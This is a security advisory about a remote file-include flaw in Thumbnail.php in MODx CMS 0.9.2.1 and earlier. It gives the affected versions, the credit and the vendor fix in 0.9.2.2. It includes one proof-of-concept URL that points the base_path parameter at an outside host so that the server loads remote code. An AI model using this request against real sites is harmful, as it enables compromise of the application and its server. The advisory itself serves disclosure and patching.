Modx CMS Thumbnail.PHP Remote File Include Vulnerability

Bugtraq ID:	20898
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 03 2006 12:00AM
Updated:	Nov 14 2006 06:11PM
Credit:	nuffsaid is credited with the discovery of this vulnerability.
Vulnerable:	MODxCMS MODxCMS 0.9.1 MODxCMS MODxCMS 0.9.2.1
Not Vulnerable:

Modx CMS Thumbnail.PHP Remote File Include Vulnerability

MODx CMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

MODx CMS 0.9.2.1 and prior versions are vulnerable.

Modx CMS Thumbnail.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/[path]/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://www.example2.com/

Modx CMS Thumbnail.PHP Remote File Include Vulnerability

Solution:
The vendor released version 0.9.2.2 at SVN revision 1923 to address this issue. Please see the references for more information.

Modx CMS Thumbnail.PHP Remote File Include Vulnerability

References:

• MODx Community Forums - Security Notices (MODx Community Forums)
  
• Vendor Homepage (MODx)